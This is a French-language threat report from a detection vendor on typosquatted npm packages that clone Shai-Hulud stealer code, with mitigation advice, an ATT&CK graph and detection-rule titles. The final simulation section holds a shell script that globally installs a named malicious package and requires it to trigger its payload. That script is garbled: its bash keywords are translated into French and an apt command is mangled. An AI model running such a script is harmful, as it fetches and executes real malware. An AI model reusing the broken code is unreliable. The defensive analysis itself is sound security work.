SOC Prime Bias: Critique

20 May 2026 22:05 UTC

Clones de Shai-Hulud : Les Imposteurs de TeamPCP Sont Là

Author Photo
SOC Prime Team linkedin icon Suivre
Clones de Shai-Hulud : Les Imposteurs de TeamPCP Sont Là
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Des chercheurs ont découvert quatre packages npm malveillants qui combinent une fonctionnalité d’infostealer avec des capacités de déni de service distribué. Ces packages usurpent l’identité de bibliothèques populaires à travers le typosquattage et incluent le code open-source Shai-Hulud modifié pour utiliser des serveurs de commande et de contrôle contrôlés par des attaquants. L’installation de l’un de ces packages peut entraîner le vol de justificatifs, l’exfiltration de secrets cloud, et dans un cas, l’enrôlement de l’hôte infecté dans un botnet DDoS. Les résultats soulignent le risque croissant pour la chaîne d’approvisionnement au sein de l’écosystème npm.

Enquête

Les analystes ont comparé le chalk-tempalte package au code source divulgué de Shai-Hulud et ont découvert qu’il s’agissait d’une copie presque exacte, non obscurcie, configurée avec un endpoint de commande et de contrôle personnalisé. Les autres packages ont transmis les données volées à des domaines malveillants distincts ou à une adresse IP sur le port 2222, tandis qu’une variante a également déployé un service local basé sur Go utilisé pour l’activité DDoS. Tous les quatre packages ont été publiés par le même compte npm, renforçant le lien entre eux.

Atténuation

Les organisations doivent immédiatement supprimer les packages malveillants de tous les projets et supprimer les artefacts de configuration associés des environnements de développement et des systèmes de build. Tous les justificatifs qui ont pu être exposés doivent être modifiés, et l’accès réseau aux domaines malveillants et à l’adresse IP identifiés doit être bloqué. Les équipes devraient également surveiller les dépendances npm pour repérer les packages typosquattés qui imitent les mêmes bibliothèques légitimes.

Réponse

Les défenseurs devraient créer des détections pour les connexions sortantes vers les domaines de commande et de contrôle et l’adresse IP identifiés, alerter sur l’installation des quatre noms de packages malveillants, et analyser les systèmes pour la clé publique intégrée liée au malware. Tout système ayant installé un des packages devrait subir un examen judiciaire pour déterminer si des services persistants, des tâches planifiées ou des charges utiles supplémentaires ont été déployés.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[« <b>Technique</b> – <b>T1195.002 Compromission de la chaîne d’approvisionnement</b><br/>Compromettre la chaîne d’approvisionnement logicielle pour obtenir un accès initial. »] class initial_access technique automated_collection[« <b>Technique</b> – <b>T1119 Collecte automatisée</b><br/>Collecte automatique des identifiants, variables d’environnement et fichiers de configuration cloud. »] class automated_collection technique creds_in_files[« <b>Technique</b> – <b>T1552.001 Identifiants non protégés</b><br/>Les identifiants stockés dans des fichiers sont collectés. »] class creds_in_files technique private_keys[« <b>Technique</b> – <b>T1552.004 Identifiants non protégés</b><br/>Extraction de clés privées depuis des emplacements non sécurisés. »] class private_keys technique victim_identity[« <b>Technique</b> – <b>T1589 Collecte d’informations d’identité de la victime</b><br/>Collecte d’identifiants personnels de la victime. »] class victim_identity technique victim_org[« <b>Technique</b> – <b>T1591.001 Collecte d’informations sur l’organisation de la victime</b><br/>Détermination des emplacements physiques de l’organisation. »] class victim_org technique code_repos[« <b>Technique</b> – <b>T1213.003 Données issues de référentiels d’information</b><br/>Collecte de dépôts de code. »] class code_repos technique npm_persistence[« <b>Technique</b> – <b>T1176 Extensions logicielles</b><br/>Persistance via un paquet npm malveillant. »] class npm_persistence technique exfil_over_http[« <b>Technique</b> – <b>T1011 Exfiltration via un autre média réseau</b><br/>Envoi de données vers C2 via HTTP/HTTPS. »] class exfil_over_http technique cloud_transfer[« <b>Technique</b> – <b>T1537 Transfert de données vers un compte cloud</b><br/>Déplacement des données volées vers un stockage cloud. »] class cloud_transfer technique %% Connections initial_access –>|conduit_à| automated_collection automated_collection –>|collecte| creds_in_files automated_collection –>|collecte| private_keys automated_collection –>|collecte| victim_identity automated_collection –>|collecte| victim_org automated_collection –>|collecte| code_repos automated_collection –>|collecte| npm_persistence creds_in_files –>|exfiltre| exfil_over_http private_keys –>|exfiltre| exfil_over_http victim_identity –>|exfiltre| exfil_over_http victim_org –>|exfiltre| exfil_over_http code_repos –>|exfiltre| exfil_over_http npm_persistence –>|exfiltre| exfil_over_http exfil_over_http –>|stocke_dans| cloud_transfer

Flux d’attaque

Détections

Téléchargement exécutable suspect (via proxy)

Équipe SOC Prime
20 mai 2026

Fichier de configuration automatique de tâches Vscode possible créé dans un répertoire inhabituel [MACOS] (via file_event)

Équipe SOC Prime
20 mai 2026

Téléchargement / Upload de fichier distant via outils standards (via cmdline)

Équipe SOC Prime
20 mai 2026

Fichier de configuration automatique de tâches Vscode possible créé dans un répertoire inhabituel [LINUX] (via file_event)

Équipe SOC Prime
20 mai 2026

Un fichier masqué a été créé sur l’hôte Linux (via file_event)

Équipe SOC Prime
20 mai 2026

Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via registry_event)

Équipe SOC Prime
20 mai 2026

Utilisation possible de Schtasks ou AT pour la persistance (via cmdline)

Équipe SOC Prime
20 mai 2026

Points de persistance possibles [ASEPs – Software/NTUSER Hive] (via cmdline)

Équipe SOC Prime
20 mai 2026

Binaire / Scripts suspects dans l’emplacement de démarrage automatique (via file_event)

Équipe SOC Prime
20 mai 2026

Tentative de communication par lookup de domaine IP possible (via dns)

Équipe SOC Prime
20 mai 2026

Commande et contrôle suspect par demande DNS de domaine de haut niveau inhabituel (TLD) (via dns)

Équipe SOC Prime
20 mai 2026

Utilisation possible de Crontab pour exécution directe (via cmdline)

Équipe SOC Prime
20 mai 2026

IOCs (SourceIP) à détecter: Nouveaux acteurs déploient des clones de Shai-Hulud : Les imitateurs de TeamPCP sont là

Règles AI de SOC Prime
20 mai 2026

IOCs (DestinationIP) à détecter: Nouveaux acteurs déploient des clones de Shai-Hulud : Les imitateurs de TeamPCP sont là

Règles AI de SOC Prime
20 mai 2026

Détection des connexions réseau sortantes vers les serveurs C2 de Shai-Hulud [Firewall]

Règles AI de SOC Prime
20 mai 2026

Détection de l’exécution de package NPM malveillant [Création de processus Windows]

Règles AI de SOC Prime
20 mai 2026

Détection de l’exécution de package npm malveillant [Création de processus Linux]

Règles AI de SOC Prime
20 mai 2026

Exécution de simulation

Prérequis: Le contrôle préalable de télémétrie et de base de référence doit avoir été réussi.

Raisonnement: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.

  • Narration de l’attaque et commandes:

    1. Reconnaissance initiale (facultative): L’attaquant énumère l’environnement Node.js de la victime pour confirmer que npm est présent.
    2. Acquisition de package malveillant : L’attaquant télécharge un package npm malveillant qui imite un utilitaire légitime (par exemple, @deadcode09284814/axios-util).
    3. Installation & Exécution : En une seule ligne, l’attaquant installe le package globalement et exécute immédiatement une charge utile JavaScript qui ouvre un shell inversé.
    4. Persistance (au-delà du périmètre) : L’attaquant pourrait ajouter le package malveillant à package.json pour une réutilisation future.
  • Script de test de régression : Le script reproduit exactement les étapes 2-3, générant les chaînes de ligne de commande que la règle Sigma correspond.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Assurez-vous que l'environnement d'exécution Node.js est présent
    si ! commande -v node >/dev/null 2>&1; alors
        echo "[*] Installation de Node.js et npm"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ Installez le package npm malveillant (simulé)
    #    (Remplacer par un package malveillant réel dans un test réel)
    PAQUET_MALVEILLANT="@deadcode09284814/axios-util"
    
    echo "[*] Installation du package malveillant : $PAQUET_MALVEILLANT"
    npm install -g "$PAQUET_MALVEILLANT"
    
    # 3️⃣ Exécutez une charge utile que le package livre
    #    Ici nous requérons simplement le package ; le script postinstall
    #    du package exécutera le code de l'attaquant.
    echo "[*] Déclenchement de la charge utile malveillante"
    node -e "require('$PAQUET_MALVEILLANT');"
    
    # 4️⃣ Optionnel : Garder le shell actif pour l'observation
    sleep 30
    echo "[*] Test terminé"
    # -------------------------------------------------
  • Commandes de nettoyage : Retirez le package malveillant et tous les fichiers générés.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] Suppression du package npm malveillant"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # Supprimez tout module node résiduel du répertoire personnel
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] Nettoyage terminé"
    # -------------------------------------------------